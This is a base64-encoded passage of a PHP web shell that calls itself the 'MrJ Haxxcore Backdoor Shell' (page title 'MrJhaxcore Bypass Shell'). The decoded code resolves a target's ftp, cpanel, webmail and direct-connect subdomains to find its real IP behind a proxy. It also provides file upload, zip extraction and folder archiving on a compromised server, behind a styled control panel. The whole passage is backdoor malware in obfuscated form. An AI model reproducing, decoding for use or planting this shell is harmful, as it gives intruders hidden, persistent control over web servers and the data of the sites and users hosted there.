Pg0KCQkJPC9zZWxlY3Q+DQoJCTwvZGl2Pg0KCQk8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGlucHV0LWdyb3VwIG1iLTQiPg0KCQkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9InRhcmdldCIgcGxhY2Vob2xkZXI9IlRhcmdldCBVUkwiPg0KCQkJPGlucHV0IGNsYXNzPSJidG4gYnRuLWRhbmdlciBmb3JtLWNvbnRyb2wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJ5cGFzcyI+DQoJCTwvZGl2Pg0KCTwvZm9ybT4nOw0KCSR0YXJnZXQgPSAkX1BPU1RbJ3RhcmdldCddOw0KCWlmKCRfUE9TVFsnaWRzUGlsaWgnXSA9PSAiZnRwIil7DQoJCSRmdHAgPSBnZXRob3N0YnluYW1lKCJmdHAuIi4iJHRhcmdldCIpOw0KCQllY2hvICI8cCBhbGlnbj0nY2VudGVyJyBkaXI9J2x0cic+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPSczJyBjb2xvcj0nIzAwZmYwMCc+Q29ycmVjdCANCgkJaXAgaXMgOiA8L2ZvbnQ+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPSczJyBjb2xvcj0nI0Y2OEIxRic+JGZ0cDwvZm9udD48L3A+IjsNCgl9DQoJaWYoJF9QT1NUWydpZHNQaWxpaCddID09ICJkaXJlY3QtY29ubnRlY3QiKXsNCgkJJGRpcmVjdCA9IGdldGhvc3RieW5hbWUoImRpcmVjdC1jb25uZWN0LiIuIiR0YXJnZXQiKTsNCgkJZWNobyAiPGJyPjxwIGFsaWduPSdjZW50ZXInIGRpcj0nbHRyJz48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzMnIGNvbG9yPScjMDBmZjAwJz5Db3JyZWN0IA0KCQlpcCBpcyA6IDwvZm9udD48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzMnIGNvbG9yPScjRjY4QjFGJz4kZGlyZWN0PC9mb250PjwvcD4iOw0KCX0NCglpZigkX1BPU1RbJ2lkc1BpbGloJ10gPT0gIndlYm1haWwiKXsNCgkJJHdlYiA9IGdldGhvc3RieW5hbWUoIndlYm1haWwuIi4iJHRhcmdldCIpOw0KCQllY2hvICI8YnI+PHAgYWxpZ249J2NlbnRlcicgZGlyPSdsdHInPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMycgY29sb3I9JyMwMGZmMDAnPkNvcnJlY3QgDQoJCWlwIGlzIDogPC9mb250Pjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMycgY29sb3I9JyNGNjhCMUYnPiR3ZWI8L2ZvbnQ+PC9wPiI7DQoJfQ0KCWlmKCRfUE9TVFsnaWRzUGlsaWgnXSA9PSAiY3BhbmVsIil7DQoJCSRjcGFuZWwgPSBnZXRob3N0YnluYW1lKCJjcGFuZWwuIi4iJHRhcmdldCIpOw0KCQllY2hvICI8YnI+PHAgYWxpZ249J2NlbnRlcicgZGlyPSdsdHInPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMycgY29sb3I9JyMwMGZmMDAnPkNvcnJlY3QgDQoJCWlwIGlzIDogPC9mb250Pjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMycgY29sb3I9JyNGNjhCMUYnPiRjcGFuZWw8L2ZvbnQ+PC9wPiI7DQoJfQ0KCWV4aXQ7DQp9DQpmdW5jdGlvbiB6aXBNZW51KCRkaXIsJGZpbGUpew0KCS8vQ29tcHJlc3MvWmlwDQoJJGV4emlwID0gYmFzZW5hbWUoJGRpcikuJy56aXAnOw0KCWZ1bmN0aW9uIFppcCgkc291cmNlLCAkZGVzdGluYXRpb24pew0KCQlpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykgPT09IHRydWUpew0KCQkJaWYgKGZpbGVfZXhpc3RzKCRzb3VyY2UpID09PSB0cnVlKXsNCgkJCQkkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCgkJCQlpZiAoJHppcC0+b3BlbigkZGVzdGluYXRpb24sIFpJUEFSQ0hJVkU6OkNSRUFURSkgPT09IHRydWUpew0KCQkJCQkkc291cmNlID0gcmVhbHBhdGgoJHNvdXJjZSk7DQoJCQkJCWlmIChpc19kaXIoJHNvdXJjZSkgPT09IHRydWUpew0KCQkJCQkJJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTsNCgkJCQkJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSl7DQoJCQkJCQkJJGZpbGUgPSByZWFscGF0aCgkZmlsZSk7DQoJCQkJCQkJaWYgKGlzX2RpcigkZmlsZSkgPT09IHRydWUpew0KCQkJCQkJCQkvLyAkemlwLT5hZGRFbXB0eURpcihzdHJfcmVwbGFjZSgkc291cmNlIC4gJy8nLCAnJywgJGZpbGUgLiAnLycpKTsNCgkJCQkJCQl9ZWxzZWlmKGlzX2ZpbGUoJGZpbGUpID09PSB0cnVlKXsNCgkJCQkJCQkJJHppcC0+YWRkRnJvbVN0cmluZyhzdHJfcmVwbGFjZSgkc291cmNlIC4gJy8nLCAnJywgJGZpbGUpLCBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfWVsc2VpZihpc19maWxlKCRzb3VyY2UpID09PSB0cnVlKXsNCgkJCQkJCSR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2UpKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlyZXR1cm4gQCR6aXAtPmNsb3NlKCk7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGZhbHNlOw0KCX0NCgkvL0V4dHJhY3QvVW56aXANCglmdW5jdGlvbiBaaXBfRXh0cmFjaygkemlwX2ZpbGVzLCAkdG9fZGlyKXsNCgkJJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQoJCSRyZXMgPSAkemlwLT5vcGVuKCR6aXBfZmlsZXMpOw0KCQlpZiAoJHJlcyA9PT0gVFJVRSl7DQoJCQkkbmFtZSA9IGJhc2VuYW1lKCR6aXBfZmlsZXMsICIuemlwIikuIl91bnppcCI7DQoJCQlAbWtkaXIoJG5hbWUpOw0KCQkJQCR6aXAtPmV4dHJhY3RUbygkdG9fZGlyLiIvIi4kbmFtZSk7ICANCgkJCXJldHVybiBAJHppcC0+Y2xvc2UoKTsNCgkJfWVsc2V7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgl9DQoJZWNobyAnPGRpdiBjbGFzcz0iY2FyZCBjYXJkLWJvZHkgdGV4dC1kYXJrIG1iLTQiPg0KCQk8aDQgY2xhc3M9InRleHQtY2VudGVyIj5aaXAgTWVudTwvaDM+DQoJCTxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI+DQoJCQk8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCgkJCQk8bGFiZWw+WmlwIEZpbGU6PC9sYWJlbD4NCgkJCQk8ZGl2IGNsYXNzPSJjdXN0b20tZmlsZSI+DQoJCQkJCTxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ6aXBfZmlsZSIgY2xhc3M9ImN1c3RvbS1maWxlLWlucHV0IiBpZD0iY3VzdG9tRmlsZSI+DQoJCQkJCTxsYWJlbCBjbGFzcz0iY3VzdG9tLWZpbGUtbGFiZWwiIGZvcj0iY3VzdG9tRmlsZSI+Q2hvb3NlIGZpbGU8L2xhYmVsPg0KCQkJCTwvZGl2Pg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVwbnVuIiBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrIG10LTMiIHZhbHVlPSJVcGxvYWQgJiBVbnppcCIvPg0KCQkJPC9kaXY+DQoJCTwvZm9ybT4nOw0KCQlpZigkX1BPU1RbInVwbnVuIl0pew0KCQkJJGZpbGVuYW1lID0gJF9GSUxFU1siemlwX2ZpbGUiXVsibmFtZSJdOw0KCQkJJHRtcCA9ICRfRklMRVNbInppcF9maWxlIl1bInRtcF9uYW1lIl07DQoJCQlpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcCwgIiRkaXIvJGZpbGVuYW1lIikpew0KCQkJCWVjaG8gWmlwX0V4dHJhY2soJGZpbGVuYW1lLCAkZGlyKTsNCgkJCQl1bmxpbmsoJGZpbGVuYW1lKTsNCgkJCQkkc3dhID0gIlN1Y2Nlc3MiOw0KCQkJCSR0ZXh0ID0gIkV4dHJhY3QgWmlwIFN1Y2Nlc3NmdWxseSI7DQoJCQkJc3dhbGwoJHN3YSwkdGV4dCwkZGlyKTsNCgkJCX1lbHNlew0KCQkJCWVjaG8gIjxiPkZhaWxlZDwvYj4iOw0KCQkJfQ0KCQl9DQoJCWVjaG8gIjxkaXYgY2xhc3M9J3Jvdyc+PGRpdiBjbGFzcz0nY29sLW1kLTYgbWItMyc+PGg1PlppcCBCYWNrdXA8L2g1Pg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJPGxhYmVsPkZvbGRlcjwvbGFiZWw+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZm9sZGVyJyBjbGFzcz0nZm9ybS1jb250cm9sIG1iLTMnIHZhbHVlPSckZGlyJz4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2JhY2t1cCcgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1ibG9jaycgdmFsdWU9J0JhY2t1cCEnPg0KCQk8L2Zvcm0+IjsNCgkJaWYoJF9QT1NUWydiYWNrdXAnXSl7DQoJCQkkZm9sID0gJF9QT1NUWydmb2xkZXInXTsNCgkJCWlmKFppcCgkZm9sLCAkX1BPU1RbImZvbGRlciJdLicvJy4kZXh6aXApKXsNCgkJCQkkc3dhID0gIlN1Y2Nlc3MiOw0KCQkJCSR0ZXh0ID0gIlN1Y2Nlc3NmdWxseSBaaXBwZWQiOw0KCQkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCQl9ZWxzZXsNCgkJCQllY2hvICI8Yj5GYWlsZWQ8L2I+IjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L2Rpdj4NCgkJPGRpdiBjbGFzcz0nY29sLW1kLTYnPjxoNT5VbnppcCBNYW51YWw8L2g1Pg0KCQk8Zm9ybSBhY3Rpb249JycgbWV0aG9kPSdwb3N0Jz4NCgkJCTxsYWJlbD5aaXAgTG9jYXRpb246PC9sYWJlbD4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlX3ppcCcgY2xhc3M9J2Zvcm0tY29udHJvbCBtYi0zJyB2YWx1ZT0nJGRpci8kZXh6aXAnPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZXh0cmFrJyBjbGFzcz0nYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrJyB2YWx1ZT0nVW56aXAhJz4NCgkJPC9mb3JtPiI7DQoJCWlmKCRfUE9TVFsnZXh0cmFrJ10pew0KCQkJJHppcCA9ICRfUE9TVFsiZmlsZV96aXAiXTsNCgkJCWlmIChaaXBfRXh0cmFjaygkemlwLCAkZGlyKSl7DQoJCQkJJHN3YSA9ICJTdWNjZXNzIjsNCgkJCQkkdGV4dCA9ICJFeHRyYWN0IFppcCBTdWNjZXNzZnVsbHkiOw0KCQkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCQl9ZWxzZXsNCgkJCQllY2hvICI8Yj5GYWlsZWQ8L2I+IjsNCgkJCX0NCgkJfQ0KCWVjaG8gJzwvZGl2PjwvZGl2PjwvZGl2Pic7DQp9DQo/Pg0KPGh0bWw+DQoJPGhlYWQ+DQoJCTxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWRodD1kZXZpY2Utd2lkaHQsIGluaXRpYWwtc2NhbGU9MSIvPg0KCQk8bWV0YSBuYW1lPSJ0aGVtZS1jb2xvciIgY29udGVudD0iIzM0M2E0MCIvPg0KCQk8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IkhvbGlxIi8+DQoJCTxtZXRhIG5hbWU9ImNvcHlyaWdodCIgY29udGVudD0ieyBBbmdrb2xWZW4gfSIvPg0KCQk8bGluayByZWw9Imljb24iIHR5cGU9ImltYWdlL3BuZyIgaHJlZj0iaHR0cHM6Ly93ZWJzdG9ja3Jldmlldy5uZXQvaW1hZ2VzL2NsaXBhcnQtYXJyb3dzLWJvbmUtOC5wbmciLz4NCgkJPHRpdGxlPnsgTXJKaGF4Y29yZSBCeXBhc3MgU2hlbGwgfTwvdGl0bGU+DQoJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0icG9qYW4vYXNzZXRzL2Nzcy9ib290c3RyYXAubWluLmNzcyI+DQoJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9zdGFja3BhdGguYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4zLjAvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIi8+DQoJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzUuMTAuMi9jc3MvYWxsLm1pbi5jc3MiLz4NCgkJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNC43LjAvY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIi8+DQoJCTxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy4zLjEuanMiPjwvc2NyaXB0Pg0KCQk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zdGFja3BhdGguYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC4zLjEvanMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JpcHQ+DQoJCTxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL3N3ZWV0YWxlcnQyQDguMTguMC9kaXN0L3N3ZWV0YWxlcnQyLmFsbC5taW4uanMiPjwvc2NyaXB0Pg0KCTwvaGVhZD4NCgk8Ym9keSBjbGFzcz0iYmctZGFyayB0ZXh0LWxpZ2h0Ij4NCgkJPHNjcmlwdD4NCgkJCSQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7DQoJCQkJJCh3aW5kb3cpLnNjcm9sbChmdW5jdGlvbigpew0KCQkJCQlpZiAoJCh0aGlzKS5zY3JvbGxUb3AoKSA+IDcwMCl7DQoJCQkJCQkkKCIuc2Nyb2xsVG9Ub3AiKS5mYWRlSW4oKTsNCgkJCQkJfWVsc2V7DQoJCQkJCQkkKCIuc2Nyb2xsVG9Ub3AiKS5mYWRlT3V0KCk7DQoJCQkJCX0NCgkJCQl9KTsNCgkJCQkkKCIuc2Nyb2xsVG9Ub3AiKS5jbGljayhmdW5jdGlvbigpew0KCQkJCQkkKCJodG1sLCBib2R5IikuYW5pbWF0ZSh7c2Nyb2xsVG9wIDogMH0sMTAwMCk7DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9KTsNCgkJCX0pOw0KCQkJJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKXsNCgkJCQkkKCdpbnB1dFt0eXBlPSJmaWxlIl0nKS5vbigiY2hhbmdlIiwgZnVuY3Rpb24oKXsNCgkJCQkJbGV0IGZpbGVuYW1lcyA9IFtdOw0KCQkJCQlsZXQgZmlsZXMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY3VzdG9tRmlsZSIpLmZpbGVzOw0KCQkJCQlpZiAoZmlsZXMubGVuZ3RoID4gMSl7DQoJCQkJCQlmaWxlbmFtZXMucHVzaCgiVG90YWwgRmlsZXMgKCIgKyBmaWxlcy5sZW5ndGggKyAiKSIpOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCWZvciAobGV0IGkgaW4gZmlsZXMpew0KCQkJCQkJCWlmIChmaWxlcy5oYXNPd25Qcm9wZXJ0eShpKSl7DQoJCQkJCQkJCWZpbGVuYW1lcy5wdXNoKGZpbGVzW2ldLm5hbWUpOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQkkKHRoaXMpLm5leHQoIi5jdXN0b20tZmlsZS1sYWJlbCIpLmh0bWwoZmlsZW5hbWVzLmpvaW4oIiwiKSk7DQoJCQkJfSk7DQoJCQl9KTsNCgkJCXZhciBtYXhfZmllbGRzID0gNTsNCgkJCXZhciB4ID0gMTsNCgkJCSQoZG9jdW1lbnQpLm9uKCdjbGljaycsICcjYWRkX2lucHV0JywgZnVuY3Rpb24oZSl7DQoJCQkJaWYoeCA8IG1heF9maWVsZHMpew0KCQkJCQl4Kys7DQoJCQkJCSQoJyNvdXRwdXQnKS5hcHBlbmQoJzxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cFwgZm9ybS1ncm91cFwgdGV4dC1kYXJrXCIgaWQ9XCJvdXRcIj48aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIG5hbWU9XCJuYW1hX2ZpbGVbXVwiIHBsYWNlaG9sZGVyPVwiTmFtZSBGaWxlLi4uXCI+PGRpdiBjbGFzcz1cImlucHV0LWdyb3VwLXByZXBlbmRcIHJlbW92ZVwiPjxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cC10ZXh0XCI+PGEgaHJlZj0iIyIgY2xhc3M9InRleHQtZGFyayI+PGkgY2xhc3M9XCJmYSBmYS1taW51c1wiPjwvaT48L2E+PC9kaXY+PC9kaXY+PC9kaXY+Jyk7DQoJCQkJfQ0KCQkJCSQoJyNvdXRwdXQnKS5vbigiY2xpY2siLCIucmVtb3ZlIiwgZnVuY3Rpb24oZSl7DQoJCQkJCWUucHJldmVudERlZmF1bHQoKTsgJCh0aGlzKS5wYXJlbnQoJyNvdXQnKS5yZW1vdmUoKTsgeC0tOw0KCQkJCQlyZXBlYXQoKTsNCgkJCQl9KQ0KCQkJfSk7DQoJCQkkKGRvY3VtZW50KS5vbignY2xpY2snLCAnI2FkZF9pbnB1dDEnLCBmdW5jdGlvbihlKXsNCgkJCQlpZih4IDwgbWF4X2ZpZWxkcyl7DQoJCQkJCXgrKzsNCgkJCQkJJCgnI291dHB1dDEnKS5hcHBlbmQoJzxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cFwgZm9ybS1ncm91cFwgdGV4dC1kYXJrXCIgaWQ9XCJvdXRcIj48aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIG5hbWU9XCJuYW1hX2ZvbGRlcltdXCIgcGxhY2Vob2xkZXI9XCJOYW1hIEZvbGRlci4uLlwiPjxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cC1wcmVwZW5kXCByZW1vdmVcIj48ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dFwiPjxhIGhyZWY9IiMiIGNsYXNzPSJ0ZXh0LWRhcmsiPjxpIGNsYXNzPVwiZmEgZmEtbWludXNcIj48L2k+PC9hPjwvZGl2PjwvZGl2PjwvZGl2PicpOw0KCQkJCX0NCgkJCQkkKCcjb3V0cHV0MScpLm9uKCJjbGljayIsIi5yZW1vdmUiLCBmdW5jdGlvbihlKXsNCgkJCQkJZS5wcmV2ZW50RGVmYXVsdCgpOyAkKHRoaXMpLnBhcmVudCgnI291dCcpLnJlbW92ZSgpOyB4LS07DQoJCQkJCXJlcGVhdCgpOw0KCQkJCX0pDQoJCQl9KTsNCgkJCQ0KCQk8L3NjcmlwdD4NCgkJPHN0eWxlPg0KCQkJQGltcG9ydCB1cmwoaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUxhdG8pOw0KCQkJQGltcG9ydCB1cmwoaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PVF1aWNrc2FuZCk7DQoJCQlAaW1wb3J0IHVybChodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SW5jb25zb2xhdGEpOw0KCQkJQG1lZGlhKG1pbi13aWR0aDo3NjdweCl7LnNjcm9sbFRvVG9we2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50O319DQoJCQlAbWVkaWEobWF4LXdpZHRoOjc2N3B4KXt0ZXh0YXJlYXtmb250LXNpemU6MTNweCAhaW1wb3J0YW50O319DQoJCQlpbnB1dFt0eXBlPSJ0ZXh0Il0sdGV4dGFyZWEge2ZvbnQtZmFtaWx5OiAiSW5jb25zb2xhdGEiLCBtb25vc3BhY2U7fQ0KCQkJYm9keXttYXJnaW46MDtwYWRkaW5nOjA7Zm9udC1mYW1pbHk6IkxhdG8iO292ZXJzY3JvbGwtYmVoYXZpb3I6bm9uZTt9DQoJCQkuaW5mb3J7Zm9udC1zaXplOjE0cHg7Y29sb3I6IzMzMyFpbXBvcnRhbnQ7fQ0KCQkJLmRze2NvbG9yOiNmMDAhaW1wb3J0YW50O3dvcmQtd3JhcDpicmVhay13b3JkO30NCgkJCSN0YWIgdGFibGUgdGhlYWQgdGh7cGFkZGluZzo1cHg7Zm9udC1zaXplOjE2cHg7d2hpdGUtc3BhY2U6IG5vd3JhcDt9DQoJCQkjdGFiIHRyIHtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjY2NjO30NCgkJCSN0YWIgdHI6aG92ZXJ7YmFja2dyb3VuZDojNUI2RjdEO2NvbG9yOiNmZmY7fQ0KCQkJI3RhYiB0ciB0ZHtwYWRkaW5nOjVweCAxMHB4O3doaXRlLXNwYWNlOm5vd3JhcDt9DQoJCQkucGluZ2dpcnt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDsgcGFkZGluZy1sZWZ0OiA0cHggIWltcG9ydGFudDt9DQoJCQkjdGFiIHRyIHRkIC5iYWRnZXtmb250LXNpemU6MTNweDt9DQoJCQkuYWN0aXZlLC5hY3RpdmU6aG92ZXJ7Y29sb3I6IzAwRkYwMDt9DQoJCQlhIHtmb250LWZhbWlseToiUXVpY2tzYW5kIjsgY29sb3I6d2hpdGU7fQ0KCQkJYTpob3Zlcntjb2xvcjpkb2RnZXJCbHVlO30NCgkJCS5iYWRnZXt3aWR0aDozMHB4O3RyYW5zaXRpb246LjNzO30NCgkJCS5iYWRnZTpob3Zlcnt0cmFuc2Zvcm06IHNjYWxlKDEuMSk7dHJhbnNpdGlvbjouM3M7fQ0KCQkJLmljbyB7d2lkdGg6MjVweDt9DQoJCQkuaWNvMnt3aWR0aDozMHB4O30NCgkJCS5zY3JvbGxUb1RvcHsNCgkJCQlwb3NpdGlvbjpmaXhlZDsNCgkJCQlib3R0b206MzBweDsNCgkJCQlyaWdodDozMHB4Ow0KCQkJCXdpZHRoOjM1cHg7DQoJCQkJaGVpZ2h0OjM1cHg7DQoJCQkJYmFja2dyb3VuZDojMjYyNjI2Ow0KCQkJCWNvbG9yOiNmZmY7DQoJCQkJYm9yZGVyLXJhZGl1czoxNSU7DQoJCQkJdGV4dC1hbGlnbjpjZW50ZXI7DQoJCQkJb3BhY2l0eTouNTsNCgkJCX0NCgkJCS5zY3JvbGxUb1RvcDpob3Zlcntjb2xvcjojZmZmO30NCgkJCS51cHtmb250LXNpemU6MjVweDtsaW5lLWhlaWdodDozNXB4O30NCgkJCS5sYWlue2NvbG9yOiM4ODg4ODg7Zm9udC1zaXplOjIwcHg7bWFyZ2luLWxlZnQ6NXB4O3RvcDoxcHg7fQ0KCQkJLmxhaW46aG92ZXJ7Y29sb3I6I2ZmZjt9DQoJCQkudGFtYmFoew0KCQkJCXdpZHRoOjM1cHg7DQoJCQkJaGVpZ2h0OjM1cHg7DQoJCQkJbGluZS1oZWlnaHQ6MzVweDsNCgkJCQlib3JkZXI6MXB4IHNvbGlkOw0KCQkJCWJvcmRlci1yYWRpdXM6NTAlOw0KCQkJCXRleHQtYWxpZ246Y2VudGVyOw0KCQkJfQ0KCQkJLmZpdHVyZXttYXJnaW46M3B4O30NCgkJCS50bXAgdGgge2ZvbnQtc2l6ZToxNHB4O30NCgkJCS50bXAgdHIgdGR7Ym9yZGVyOnNvbGlkIDFweCAjQkJCQkJCO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxM3B4O3BhZGRpbmc6MnB4IDVweDt9DQoJCQkudG1wIHRyOmhvdmVye2JhY2tncm91bmQ6IzVCNkY3RDsgY29sb3I6I2ZmZjt9DQoJCQkuYWJvdXR7Y29sb3I6IzAwMDt9DQoJCQkuYWJvdXQgLmNhcmQtYm9keSAuaW1new0KCQkJCXBvc2l0aW9uOiByZWxhdGl2ZTsNCgkJCQliYWNrZ3JvdW5kOiB1cmwoaHR0cHM6Ly9pLnBvc3RpbWcuY2MvV2IxWDR4TlMvaW1hZ2UucG5nKTsNCgkJCQliYWNrZ3JvdW5kLXNpemU6IGNvdmVyOw0KCQkJCXdpZHRoOiAxNTBweDsNCgkJCQloZWlnaHQ6IDE1MHB4Ow0KCQkJfQ0KCQkJLmJ1dG4gew0KCQkJCXBvc2l0aW9uOiByZWxhdGl2ZTsNCgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7DQoJCQkJcGFkZGluZzogM3B4Ow0KCQkJCWJhY2tncm91bmQ6cmdiYSgyMjUsMjI1LDIyNSwuMyk7DQoJCQkJLXdlYmtpdC10cmFuc2l0aW9uOiBiYWNrZ3JvdW5kIDMwMG1zIGVhc2UsIGNvbG9yIDMwMG1zIGVhc2U7DQoJCQkJdHJhbnNpdGlvbjogYmFja2dyb3VuZCAzMDBtcyBlYXNlLCBjb2xvciAzMDBtcyBlYXNlOw0KCQkJfQ0KCQkJaW5wdXRbdHlwZT0icmFkaW8iXS50b2dnbGUge2Rpc3BsYXk6bm9uZTt9DQoJCQlpbnB1dFt0eXBlPSJyYWRpbyJdLnRvZ2dsZSArIGxhYmVsIHtjdXJzb3I6cG9pbnRlcjttYXJnaW46MCAycHg7d2lkdGg6NjBweDt9DQoJCQlpbnB1dFt0eXBlPSJyYWRpbyJdLnRvZ2dsZSArIGxhYmVsOmFmdGVyIHsNCgkJCQlwb3NpdGlvbjogYWJzb2x1dGU7DQoJCQkJY29udGVudDogIiI7DQoJCQkJdG9wOiAwOw0KCQkJCWJhY2tncm91bmQ6ICNmZmY7DQoJCQkJaGVpZ2h0OiAxMDAlOw0KCQkJCXdpZHRoOiAxMDAlOw0KCQkJCXotaW5kZXg6IC0xOw0KCQkJCS13ZWJraXQtdHJhbnNpdGlvbjogbGVmdCA0MDBtcyBjdWJpYy1iZXppZXIoMC43NywgMCwgMC4xNzUsIDEpOw0KCQkJCXRyYW5zaXRpb246IGxlZnQgNDAwbXMgY3ViaWMtYmV6aWVyKDAuNzcsIDAsIDAuMTc1LCAxKTsNCgkJCX0NCgkJCWlucHV0W3R5cGU9InJhZGlvIl0udG9nZ2xlLnRvZ2dsZS1sZWZ0ICsgbGFiZWw6YWZ0ZXIge2xlZnQ6MTAwJTt9DQoJCQlpbnB1dFt0eXBlPSJyYWRpbyJdLnRvZ2dsZS50b2dnbGUtcmlnaHQgKyBsYWJlbCB7bWFyZ2luLWxlZnQ6LTVweDt9DQoJCQlpbnB1dFt0eXBlPSJyYWRpbyJdLnRvZ2dsZS50b2dnbGUtcmlnaHQgKyBsYWJlbDphZnRlciB7bGVmdDotMTAwJTt9DQoJCQlpbnB1dFt0eXBlPSJyYWRpbyJdLnRvZ2dsZTpjaGVja2VkICsgbGFiZWwge2N1cnNvcjpkZWZhdWx0O2NvbG9yOiMwMDA7LXdlYmtpdC10cmFuc2l0aW9uOmNvbG9yIDQwMG1zO3RyYW5zaXRpb246IGNvbG9yIDQwMG1zO30NCgkJCWlucHV0W3R5cGU9InJhZGlvIl0udG9nZ2xlOmNoZWNrZWQgKyBsYWJlbDphZnRlciB7bGVmdDowO30NCgkJPC9zdHlsZT4NCgkJPG5hdiBjbGFzcz0ibmF2YmFyIHN0YXRpYy10b3AgbmF2YmFyLWRhcmsiPg0KCQkJCTwvdWw+DQoJCQk8L2Rpdj4NCgkJPC9uYXY+DQoJCTw/cGhwDQoJCWVjaG8gJzxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQoJCQk8aDEgY2xhc3M9InRleHQtY2VudGVyIj4NCgkJCTxtZXRhIG5hbWU9InRoZW1lLWNvbG9yIiBjb250ZW50PSIjODAwMDAwIi8+DQoJCQk8YnI+DQoJCQk8YSBocmVmPSJodHRwczovL2ZhY2Vib29rLmNvbS9ib3RuZXRtYXN0ZXIxMzM3IiBzdHlsZT0iY29sb3I6I2ZmZmZmOyI+PHN0cm9uZz5bIE1ySiBIYXh4Y29yZSBCYWNrZG9vciBTaGVsbCBdPC9oMT4NCgkJCTxjZW50ZXI+PGg1PiBTdHJvbmcgfHwgSW52aXNpYmxlPC9hPjwvaDU+PC9jZW50ZXI+PC9zdHJvbm